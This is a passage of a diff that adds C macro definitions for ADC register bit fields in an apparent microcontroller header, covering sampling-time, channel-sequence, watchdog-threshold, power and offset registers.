ADC_SMPR2_SMP19_1 (0x2UL << ADC_SMPR2_SMP19_Pos) /*!< 0x10000000 */ +#define ADC_SMPR2_SMP19_2 (0x4UL << ADC_SMPR2_SMP19_Pos) /*!< 0x20000000 */ + +/******************** Bit definition for ADC_PCSEL register ********************/ +#define ADC_PCSEL_PCSEL_Pos (0UL) +#define ADC_PCSEL_PCSEL_Msk (0xFFFFFUL << ADC_PCSEL_PCSEL_Pos) /*!< 0x000FFFFF */ +#define ADC_PCSEL_PCSEL ADC_PCSEL_PCSEL_Msk /*!< ADC pre channel selection */ +#define ADC_PCSEL_PCSEL_0 (0x00001UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000001 */ +#define ADC_PCSEL_PCSEL_1 (0x00002UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000002 */ +#define ADC_PCSEL_PCSEL_2 (0x00004UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000004 */ +#define ADC_PCSEL_PCSEL_3 (0x00008UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000008 */ +#define ADC_PCSEL_PCSEL_4 (0x00010UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000010 */ +#define ADC_PCSEL_PCSEL_5 (0x00020UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000020 */ +#define ADC_PCSEL_PCSEL_6 (0x00040UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000040 */ +#define ADC_PCSEL_PCSEL_7 (0x00080UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000080 */ +#define ADC_PCSEL_PCSEL_8 (0x00100UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000100 */ +#define ADC_PCSEL_PCSEL_9 (0x00200UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000200 */ +#define ADC_PCSEL_PCSEL_10 (0x00400UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000400 */ +#define ADC_PCSEL_PCSEL_11 (0x00800UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000800 */ +#define ADC_PCSEL_PCSEL_12 (0x01000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00001000 */ +#define ADC_PCSEL_PCSEL_13 (0x02000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00002000 */ +#define ADC_PCSEL_PCSEL_14 (0x04000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00004000 */ +#define ADC_PCSEL_PCSEL_15 (0x08000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00008000 */ +#define ADC_PCSEL_PCSEL_16 (0x10000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00010000 */ +#define ADC_PCSEL_PCSEL_17 (0x20000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00020000 */ +#define ADC_PCSEL_PCSEL_18 (0x40000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00040000 */ +#define ADC_PCSEL_PCSEL_19 (0x80000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00080000 */ + +/***************** Bit definition for ADC_LTR1, 2, 3 registers *****************/ +#define ADC_LTR_LT_Pos (0UL) +#define ADC_LTR_LT_Msk (0x01FFFFFFUL << ADC_LTR_LT_Pos) /*!< 0x01FFFFFF */ +#define ADC_LTR_LT ADC_LTR_LT_Msk /*!< ADC Analog watchdog 1, 2 and 3 lower threshold */ + +/***************** Bit definition for ADC_HTR1, 2, 3 registers ****************/ +#define ADC_HTR_HT_Pos (0UL) +#define ADC_HTR_HT_Msk (0x01FFFFFFUL << ADC_HTR_HT_Pos) /*!< 0x01FFFFFF */ +#define ADC_HTR_HT ADC_HTR_HT_Msk /*!< ADC Analog watchdog 1,2 and 3 higher threshold */ + +#define ADC_HTR_AWDFILT_Pos (29UL) +#define ADC_HTR_AWDFILT_Msk (0x7UL << ADC_HTR_AWDFILT_Pos) /*!< 0xE0000000 */ +#define ADC_HTR_AWDFILT ADC_HTR_AWDFILT_Msk /*!< Analog watchdog filtering parameter, HTR1 only */ +#define ADC_HTR_AWDFILT_0 (0x1UL << ADC_HTR_AWDFILT_Pos) /*!< 0x20000000 */ +#define ADC_HTR_AWDFILT_1 (0x2UL << ADC_HTR_AWDFILT_Pos) /*!< 0x40000000 */ +#define ADC_HTR_AWDFILT_2 (0x4UL << ADC_HTR_AWDFILT_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_SQR1 register ********************/ +#define ADC_SQR1_L_Pos (0UL) +#define ADC_SQR1_L_Msk (0xFUL << ADC_SQR1_L_Pos) /*!< 0x0000000F */ +#define ADC_SQR1_L ADC_SQR1_L_Msk /*!< ADC regular channel sequence length */ +#define ADC_SQR1_L_0 (0x1UL << ADC_SQR1_L_Pos) /*!< 0x00000001 */ +#define ADC_SQR1_L_1 (0x2UL << ADC_SQR1_L_Pos) /*!< 0x00000002 */ +#define ADC_SQR1_L_2 (0x4UL << ADC_SQR1_L_Pos) /*!< 0x00000004 */ +#define ADC_SQR1_L_3 (0x8UL << ADC_SQR1_L_Pos) /*!< 0x00000008 */ + +#define ADC_SQR1_SQ1_Pos (6UL) +#define ADC_SQR1_SQ1_Msk (0x1FUL << ADC_SQR1_SQ1_Pos) /*!< 0x000007C0 */ +#define ADC_SQR1_SQ1 ADC_SQR1_SQ1_Msk /*!< ADC 1st conversion in regular sequence */ +#define ADC_SQR1_SQ1_0 (0x01UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000040 */ +#define ADC_SQR1_SQ1_1 (0x02UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000080 */ +#define ADC_SQR1_SQ1_2 (0x04UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000100 */ +#define ADC_SQR1_SQ1_3 (0x08UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000200 */ +#define ADC_SQR1_SQ1_4 (0x10UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000400 */ + +#define ADC_SQR1_SQ2_Pos (12UL) +#define ADC_SQR1_SQ2_Msk (0x1FUL << ADC_SQR1_SQ2_Pos) /*!< 0x0001F000 */ +#define ADC_SQR1_SQ2 ADC_SQR1_SQ2_Msk /*!< ADC 2nd conversion in regular sequence */ +#define ADC_SQR1_SQ2_0 (0x01UL << ADC_SQR1_SQ2_Pos) /*!< 0x00001000 */ +#define ADC_SQR1_SQ2_1 (0x02UL << ADC_SQR1_SQ2_Pos) /*!< 0x00002000 */ +#define ADC_SQR1_SQ2_2 (0x04UL << ADC_SQR1_SQ2_Pos) /*!< 0x00004000 */ +#define ADC_SQR1_SQ2_3 (0x08UL << ADC_SQR1_SQ2_Pos) /*!< 0x00008000 */ +#define ADC_SQR1_SQ2_4 (0x10UL << ADC_SQR1_SQ2_Pos) /*!< 0x00010000 */ + +#define ADC_SQR1_SQ3_Pos (18UL) +#define ADC_SQR1_SQ3_Msk (0x1FUL << ADC_SQR1_SQ3_Pos) /*!< 0x007C0000 */ +#define ADC_SQR1_SQ3 ADC_SQR1_SQ3_Msk /*!< ADC 3rd conversion in regular sequence */ +#define ADC_SQR1_SQ3_0 (0x01UL << ADC_SQR1_SQ3_Pos) /*!< 0x00040000 */ +#define ADC_SQR1_SQ3_1 (0x02UL << ADC_SQR1_SQ3_Pos) /*!< 0x00080000 */ +#define ADC_SQR1_SQ3_2 (0x04UL << ADC_SQR1_SQ3_Pos) /*!< 0x00100000 */ +#define ADC_SQR1_SQ3_3 (0x08UL << ADC_SQR1_SQ3_Pos) /*!< 0x00200000 */ +#define ADC_SQR1_SQ3_4 (0x10UL << ADC_SQR1_SQ3_Pos) /*!< 0x00400000 */ + +#define ADC_SQR1_SQ4_Pos (24UL) +#define ADC_SQR1_SQ4_Msk (0x1FUL << ADC_SQR1_SQ4_Pos) /*!< 0x1F000000 */ +#define ADC_SQR1_SQ4 ADC_SQR1_SQ4_Msk /*!< ADC 4th conversion in regular sequence */ +#define ADC_SQR1_SQ4_0 (0x01UL << ADC_SQR1_SQ4_Pos) /*!< 0x01000000 */ +#define ADC_SQR1_SQ4_1 (0x02UL << ADC_SQR1_SQ4_Pos) /*!< 0x02000000 */ +#define ADC_SQR1_SQ4_2 (0x04UL << ADC_SQR1_SQ4_Pos) /*!< 0x04000000 */ +#define ADC_SQR1_SQ4_3 (0x08UL << ADC_SQR1_SQ4_Pos) /*!< 0x08000000 */ +#define ADC_SQR1_SQ4_4 (0x10UL << ADC_SQR1_SQ4_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR2 register ********************/ +#define ADC_SQR2_SQ5_Pos (0UL) +#define ADC_SQR2_SQ5_Msk (0x1FUL << ADC_SQR2_SQ5_Pos) /*!< 0x0000001F */ +#define ADC_SQR2_SQ5 ADC_SQR2_SQ5_Msk /*!< ADC 5th conversion in regular sequence */ +#define ADC_SQR2_SQ5_0 (0x01UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000001 */ +#define ADC_SQR2_SQ5_1 (0x02UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000002 */ +#define ADC_SQR2_SQ5_2 (0x04UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000004 */ +#define ADC_SQR2_SQ5_3 (0x08UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000008 */ +#define ADC_SQR2_SQ5_4 (0x10UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000010 */ + +#define ADC_SQR2_SQ6_Pos (6UL) +#define ADC_SQR2_SQ6_Msk (0x1FUL << ADC_SQR2_SQ6_Pos) /*!< 0x000007C0 */ +#define ADC_SQR2_SQ6 ADC_SQR2_SQ6_Msk /*!< ADC 6th conversion in regular sequence */ +#define ADC_SQR2_SQ6_0 (0x01UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000040 */ +#define ADC_SQR2_SQ6_1 (0x02UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000080 */ +#define ADC_SQR2_SQ6_2 (0x04UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000100 */ +#define ADC_SQR2_SQ6_3 (0x08UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000200 */ +#define ADC_SQR2_SQ6_4 (0x10UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000400 */ + +#define ADC_SQR2_SQ7_Pos (12UL) +#define ADC_SQR2_SQ7_Msk (0x1FUL << ADC_SQR2_SQ7_Pos) /*!< 0x0001F000 */ +#define ADC_SQR2_SQ7 ADC_SQR2_SQ7_Msk /*!< ADC 7th conversion in regular sequence */ +#define ADC_SQR2_SQ7_0 (0x01UL << ADC_SQR2_SQ7_Pos) /*!< 0x00001000 */ +#define ADC_SQR2_SQ7_1 (0x02UL << ADC_SQR2_SQ7_Pos) /*!< 0x00002000 */ +#define ADC_SQR2_SQ7_2 (0x04UL << ADC_SQR2_SQ7_Pos) /*!< 0x00004000 */ +#define ADC_SQR2_SQ7_3 (0x08UL << ADC_SQR2_SQ7_Pos) /*!< 0x00008000 */ +#define ADC_SQR2_SQ7_4 (0x10UL << ADC_SQR2_SQ7_Pos) /*!< 0x00010000 */ + +#define ADC_SQR2_SQ8_Pos (18UL) +#define ADC_SQR2_SQ8_Msk (0x1FUL << ADC_SQR2_SQ8_Pos) /*!< 0x007C0000 */ +#define ADC_SQR2_SQ8 ADC_SQR2_SQ8_Msk /*!< ADC 8th conversion in regular sequence */ +#define ADC_SQR2_SQ8_0 (0x01UL << ADC_SQR2_SQ8_Pos) /*!< 0x00040000 */ +#define ADC_SQR2_SQ8_1 (0x02UL << ADC_SQR2_SQ8_Pos) /*!< 0x00080000 */ +#define ADC_SQR2_SQ8_2 (0x04UL << ADC_SQR2_SQ8_Pos) /*!< 0x00100000 */ +#define ADC_SQR2_SQ8_3 (0x08UL << ADC_SQR2_SQ8_Pos) /*!< 0x00200000 */ +#define ADC_SQR2_SQ8_4 (0x10UL << ADC_SQR2_SQ8_Pos) /*!< 0x00400000 */ + +#define ADC_SQR2_SQ9_Pos (24UL) +#define ADC_SQR2_SQ9_Msk (0x1FUL << ADC_SQR2_SQ9_Pos) /*!< 0x1F000000 */ +#define ADC_SQR2_SQ9 ADC_SQR2_SQ9_Msk /*!< ADC 9th conversion in regular sequence */ +#define ADC_SQR2_SQ9_0 (0x01UL << ADC_SQR2_SQ9_Pos) /*!< 0x01000000 */ +#define ADC_SQR2_SQ9_1 (0x02UL << ADC_SQR2_SQ9_Pos) /*!< 0x02000000 */ +#define ADC_SQR2_SQ9_2 (0x04UL << ADC_SQR2_SQ9_Pos) /*!< 0x04000000 */ +#define ADC_SQR2_SQ9_3 (0x08UL << ADC_SQR2_SQ9_Pos) /*!< 0x08000000 */ +#define ADC_SQR2_SQ9_4 (0x10UL << ADC_SQR2_SQ9_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR3 register ********************/ +#define ADC_SQR3_SQ10_Pos (0UL) +#define ADC_SQR3_SQ10_Msk (0x1FUL << ADC_SQR3_SQ10_Pos) /*!< 0x0000001F */ +#define ADC_SQR3_SQ10 ADC_SQR3_SQ10_Msk /*!< ADC 10th conversion in regular sequence */ +#define ADC_SQR3_SQ10_0 (0x01UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000001 */ +#define ADC_SQR3_SQ10_1 (0x02UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000002 */ +#define ADC_SQR3_SQ10_2 (0x04UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000004 */ +#define ADC_SQR3_SQ10_3 (0x08UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000008 */ +#define ADC_SQR3_SQ10_4 (0x10UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000010 */ + +#define ADC_SQR3_SQ11_Pos (6UL) +#define ADC_SQR3_SQ11_Msk (0x1FUL << ADC_SQR3_SQ11_Pos) /*!< 0x000007C0 */ +#define ADC_SQR3_SQ11 ADC_SQR3_SQ11_Msk /*!< ADC 11th conversion in regular sequence */ +#define ADC_SQR3_SQ11_0 (0x01UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000040 */ +#define ADC_SQR3_SQ11_1 (0x02UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000080 */ +#define ADC_SQR3_SQ11_2 (0x04UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000100 */ +#define ADC_SQR3_SQ11_3 (0x08UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000200 */ +#define ADC_SQR3_SQ11_4 (0x10UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000400 */ + +#define ADC_SQR3_SQ12_Pos (12UL) +#define ADC_SQR3_SQ12_Msk (0x1FUL << ADC_SQR3_SQ12_Pos) /*!< 0x0001F000 */ +#define ADC_SQR3_SQ12 ADC_SQR3_SQ12_Msk /*!< ADC 12th conversion in regular sequence */ +#define ADC_SQR3_SQ12_0 (0x01UL << ADC_SQR3_SQ12_Pos) /*!< 0x00001000 */ +#define ADC_SQR3_SQ12_1 (0x02UL << ADC_SQR3_SQ12_Pos) /*!< 0x00002000 */ +#define ADC_SQR3_SQ12_2 (0x04UL << ADC_SQR3_SQ12_Pos) /*!< 0x00004000 */ +#define ADC_SQR3_SQ12_3 (0x08UL << ADC_SQR3_SQ12_Pos) /*!< 0x00008000 */ +#define ADC_SQR3_SQ12_4 (0x10UL << ADC_SQR3_SQ12_Pos) /*!< 0x00010000 */ + +#define ADC_SQR3_SQ13_Pos (18UL) +#define ADC_SQR3_SQ13_Msk (0x1FUL << ADC_SQR3_SQ13_Pos) /*!< 0x007C0000 */ +#define ADC_SQR3_SQ13 ADC_SQR3_SQ13_Msk /*!< ADC 13th conversion in regular sequence */ +#define ADC_SQR3_SQ13_0 (0x01UL << ADC_SQR3_SQ13_Pos) /*!< 0x00040000 */ +#define ADC_SQR3_SQ13_1 (0x02UL << ADC_SQR3_SQ13_Pos) /*!< 0x00080000 */ +#define ADC_SQR3_SQ13_2 (0x04UL << ADC_SQR3_SQ13_Pos) /*!< 0x00100000 */ +#define ADC_SQR3_SQ13_3 (0x08UL << ADC_SQR3_SQ13_Pos) /*!< 0x00200000 */ +#define ADC_SQR3_SQ13_4 (0x10UL << ADC_SQR3_SQ13_Pos) /*!< 0x00400000 */ + +#define ADC_SQR3_SQ14_Pos (24UL) +#define ADC_SQR3_SQ14_Msk (0x1FUL << ADC_SQR3_SQ14_Pos) /*!< 0x1F000000 */ +#define ADC_SQR3_SQ14 ADC_SQR3_SQ14_Msk /*!< ADC 14th conversion in regular sequence */ +#define ADC_SQR3_SQ14_0 (0x01UL << ADC_SQR3_SQ14_Pos) /*!< 0x01000000 */ +#define ADC_SQR3_SQ14_1 (0x02UL << ADC_SQR3_SQ14_Pos) /*!< 0x02000000 */ +#define ADC_SQR3_SQ14_2 (0x04UL << ADC_SQR3_SQ14_Pos) /*!< 0x04000000 */ +#define ADC_SQR3_SQ14_3 (0x08UL << ADC_SQR3_SQ14_Pos) /*!< 0x08000000 */ +#define ADC_SQR3_SQ14_4 (0x10UL << ADC_SQR3_SQ14_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR4 register ********************/ +#define ADC_SQR4_SQ15_Pos (0UL) +#define ADC_SQR4_SQ15_Msk (0x1FUL << ADC_SQR4_SQ15_Pos) /*!< 0x0000001F */ +#define ADC_SQR4_SQ15 ADC_SQR4_SQ15_Msk /*!< ADC 15th conversion in regular sequence */ +#define ADC_SQR4_SQ15_0 (0x01UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000001 */ +#define ADC_SQR4_SQ15_1 (0x02UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000002 */ +#define ADC_SQR4_SQ15_2 (0x04UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000004 */ +#define ADC_SQR4_SQ15_3 (0x08UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000008 */ +#define ADC_SQR4_SQ15_4 (0x10UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000010 */ + +#define ADC_SQR4_SQ16_Pos (6UL) +#define ADC_SQR4_SQ16_Msk (0x1FUL << ADC_SQR4_SQ16_Pos) /*!< 0x000007C0 */ +#define ADC_SQR4_SQ16 ADC_SQR4_SQ16_Msk /*!< ADC 16th conversion in regular sequence */ +#define ADC_SQR4_SQ16_0 (0x01UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000040 */ +#define ADC_SQR4_SQ16_1 (0x02UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000080 */ +#define ADC_SQR4_SQ16_2 (0x04UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000100 */ +#define ADC_SQR4_SQ16_3 (0x08UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000200 */ +#define ADC_SQR4_SQ16_4 (0x10UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000400 */ +/******************** Bit definition for ADC_DR register ********************/ +#define ADC_DR_RDATA_Pos (0UL) +#define ADC_DR_RDATA_Msk (0xFFFFFFFFUL << ADC_DR_RDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_DR_RDATA ADC_DR_RDATA_Msk /*!< ADC regular Data converted */ + +/******************** Bit definition for ADC_PW register ********************/ +#define ADC4_PWRR_AUTOFF_Pos (0UL) +#define ADC4_PWRR_AUTOFF_Msk (0x1UL << ADC4_PWRR_AUTOFF_Pos) /*!< 0x00000001 */ +#define ADC4_PWRR_AUTOFF ADC4_PWRR_AUTOFF_Msk /*!< ADC Auto-Off mode */ +#define ADC4_PWRR_DPD_Pos (1UL) +#define ADC4_PWRR_DPD_Msk (0x1UL << ADC4_PWRR_DPD_Pos) /*!< 0x00000002 */ +#define ADC4_PWRR_DPD ADC4_PWRR_DPD_Msk /*!< ADC Deep Power mode */ +#define ADC4_PWRR_VREFPROT_Pos (2UL) +#define ADC4_PWRR_VREFPROT_Msk (0x1UL << ADC4_PWRR_VREFPROT_Pos) /*!< 0x00000004 */ +#define ADC4_PWRR_VREFPROT ADC4_PWRR_VREFPROT_Msk /*!< ADC Vref protection */ +#define ADC4_PWRR_VREFSECSMP_Pos (3UL) +#define ADC4_PWRR_VREFSECSMP_Msk (0x1UL << ADC4_PWRR_VREFSECSMP_Pos) /*!< 0x00000008 */ +#define ADC4_PWRR_VREFSECSMP ADC4_PWRR_VREFSECSMP_Msk /*!< ADC Vref Second Sample */ + +/* Legacy definitions */ +#define ADC4_PW_AUTOFF_Pos ADC4_PWRR_AUTOFF_Pos +#define ADC4_PW_AUTOFF_Msk ADC4_PWRR_AUTOFF_Msk +#define ADC4_PW_AUTOFF ADC4_PWRR_AUTOFF +#define ADC4_PW_DPD_Pos ADC4_PWRR_DPD_Pos +#define ADC4_PW_DPD_Msk ADC4_PWRR_DPD_Msk +#define ADC4_PW_DPD ADC4_PWRR_DPD +#define ADC4_PW_VREFPROT_Pos ADC4_PWRR_VREFPROT_Pos +#define ADC4_PW_VREFPROT_Msk ADC4_PWRR_VREFPROT_Msk +#define ADC4_PW_VREFPROT ADC4_PWRR_VREFPROT +#define ADC4_PW_VREFSECSMP_Pos ADC4_PWRR_VREFSECSMP_Pos +#define ADC4_PW_VREFSECSMP_Msk ADC4_PWRR_VREFSECSMP_Msk +#define ADC4_PW_VREFSECSMP ADC4_PWRR_VREFSECSMP + +/******************** Bit definition for ADC_JSQR register ********************/ +#define ADC_JSQR_JL_Pos (0UL) +#define ADC_JSQR_JL_Msk (0x3UL << ADC_JSQR_JL_Pos) /*!< 0x00000003 */ +#define ADC_JSQR_JL ADC_JSQR_JL_Msk /*!< ADC injected channel sequence length */ +#define ADC_JSQR_JL_0 (0x1UL << ADC_JSQR_JL_Pos) /*!< 0x00000001 */ +#define ADC_JSQR_JL_1 (0x2UL << ADC_JSQR_JL_Pos) /*!< 0x00000002 */ + +#define ADC_JSQR_JEXTSEL_Pos (2UL) +#define ADC_JSQR_JEXTSEL_Msk (0x1FUL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x0000007C */ +#define ADC_JSQR_JEXTSEL ADC_JSQR_JEXTSEL_Msk /*!< ADC external trigger selection for injected group */ +#define ADC_JSQR_JEXTSEL_0 (0x01UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000004 */ +#define ADC_JSQR_JEXTSEL_1 (0x02UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000008 */ +#define ADC_JSQR_JEXTSEL_2 (0x04UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000010 */ +#define ADC_JSQR_JEXTSEL_3 (0x08UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000020 */ +#define ADC_JSQR_JEXTSEL_4 (0x10UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000040 */ + +#define ADC_JSQR_JEXTEN_Pos (7UL) +#define ADC_JSQR_JEXTEN_Msk (0x3UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000180 */ +#define ADC_JSQR_JEXTEN ADC_JSQR_JEXTEN_Msk /*!< ADC external trigger enable and polarity selection for injected channels */ +#define ADC_JSQR_JEXTEN_0 (0x1UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000080 */ +#define ADC_JSQR_JEXTEN_1 (0x2UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000100 */ + +#define ADC_JSQR_JSQ1_Pos (9UL) +#define ADC_JSQR_JSQ1_Msk (0x1FUL << ADC_JSQR_JSQ1_Pos) /*!< 0x00003E00 */ +#define ADC_JSQR_JSQ1 ADC_JSQR_JSQ1_Msk /*!< ADC 1st conversion in injected sequence */ +#define ADC_JSQR_JSQ1_0 (0x01UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000200 */ +#define ADC_JSQR_JSQ1_1 (0x02UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000400 */ +#define ADC_JSQR_JSQ1_2 (0x04UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000800 */ +#define ADC_JSQR_JSQ1_3 (0x08UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00001000 */ +#define ADC_JSQR_JSQ1_4 (0x10UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00002000 */ + +#define ADC_JSQR_JSQ2_Pos (15UL) +#define ADC_JSQR_JSQ2_Msk (0x1FUL << ADC_JSQR_JSQ2_Pos) /*!< 0x000F8000 */ +#define ADC_JSQR_JSQ2 ADC_JSQR_JSQ2_Msk /*!< ADC 2nd conversion in injected sequence */ +#define ADC_JSQR_JSQ2_0 (0x01UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00008000 */ +#define ADC_JSQR_JSQ2_1 (0x02UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00010000 */ +#define ADC_JSQR_JSQ2_2 (0x04UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00020000 */ +#define ADC_JSQR_JSQ2_3 (0x08UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00040000 */ +#define ADC_JSQR_JSQ2_4 (0x10UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00080000 */ + +#define ADC_JSQR_JSQ3_Pos (21UL) +#define ADC_JSQR_JSQ3_Msk (0x1FUL << ADC_JSQR_JSQ3_Pos) /*!< 0x03E00000 */ +#define ADC_JSQR_JSQ3 ADC_JSQR_JSQ3_Msk /*!< ADC 3rd conversion in injected sequence */ +#define ADC_JSQR_JSQ3_0 (0x01UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00200000 */ +#define ADC_JSQR_JSQ3_1 (0x02UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00400000 */ +#define ADC_JSQR_JSQ3_2 (0x04UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00800000 */ +#define ADC_JSQR_JSQ3_3 (0x08UL << ADC_JSQR_JSQ3_Pos) /*!< 0x01000000 */ +#define ADC_JSQR_JSQ3_4 (0x10UL << ADC_JSQR_JSQ3_Pos) /*!< 0x02000000 */ + +#define ADC_JSQR_JSQ4_Pos (27UL) +#define ADC_JSQR_JSQ4_Msk (0x1FUL << ADC_JSQR_JSQ4_Pos) /*!< 0xF8000000 */ +#define ADC_JSQR_JSQ4 ADC_JSQR_JSQ4_Msk /*!< ADC 4th conversion in injected sequence */ +#define ADC_JSQR_JSQ4_0 (0x01UL << ADC_JSQR_JSQ4_Pos) /*!< 0x08000000 */ +#define ADC_JSQR_JSQ4_1 (0x02UL << ADC_JSQR_JSQ4_Pos) /*!< 0x10000000 */ +#define ADC_JSQR_JSQ4_2 (0x04UL << ADC_JSQR_JSQ4_Pos) /*!< 0x20000000 */ +#define ADC_JSQR_JSQ4_3 (0x08UL << ADC_JSQR_JSQ4_Pos) /*!< 0x40000000 */ +#define ADC_JSQR_JSQ4_4 (0x10UL << ADC_JSQR_JSQ4_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_OFR1 register ********************/ +#define ADC_OFR1_OFFSET1_Pos (0UL) +#define ADC_OFR1_OFFSET1_Msk (0x00FFFFFFUL << ADC_OFR1_OFFSET1_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR1_OFFSET1 ADC_OFR1_OFFSET1_Msk /*!< ADC data offset 1 for channel programmed into bits OFFSET1_CH[4:0] */ +#define ADC_OFR1_OFFSET1_0 (0x0000001UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000001 */ +#define ADC_OFR1_OFFSET1_1 (0x0000002UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000002 */ +#define ADC_OFR1_OFFSET1_2 (0x0000004UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000004 */ +#define ADC_OFR1_OFFSET1_3 (0x0000008UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000008 */ +#define ADC_OFR1_OFFSET1_4 (0x0000010UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000010 */ +#define ADC_OFR1_OFFSET1_5 (0x0000020UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000020 */ +#define ADC_OFR1_OFFSET1_6 (0x0000040UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000040 */ +#define ADC_OFR1_OFFSET1_7 (0x0000080UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000080 */ +#define ADC_OFR1_OFFSET1_8 (0x0000100UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000100 */ +#define ADC_OFR1_OFFSET1_9 (0x0000200UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000200 */ +#define ADC_OFR1_OFFSET1_10 (0x0000400UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000400 */ +#define ADC_OFR1_OFFSET1_11 (0x0000800UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000800 */ +#define ADC_OFR1_OFFSET1_12 (0x0001000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00001000 */ +#define ADC_OFR1_OFFSET1_13 (0x0002000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00002000 */ +#define ADC_OFR1_OFFSET1_14 (0x0004000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00004000 */ +#define ADC_OFR1_OFFSET1_15 (0x0008000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00008000 */ +#define ADC_OFR1_OFFSET1_16 (0x0010000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00010000 */ +#define ADC_OFR1_OFFSET1_17 (0x0020000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00020000 */ +#define ADC_OFR1_OFFSET1_18 (0x0040000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00040000 */ +#define ADC_OFR1_OFFSET1_19 (0x0080000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00080000 */ +#define ADC_OFR1_OFFSET1_20 (0x0100000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00100000 */ +#define ADC_OFR1_OFFSET1_21 (0x0200000UL << 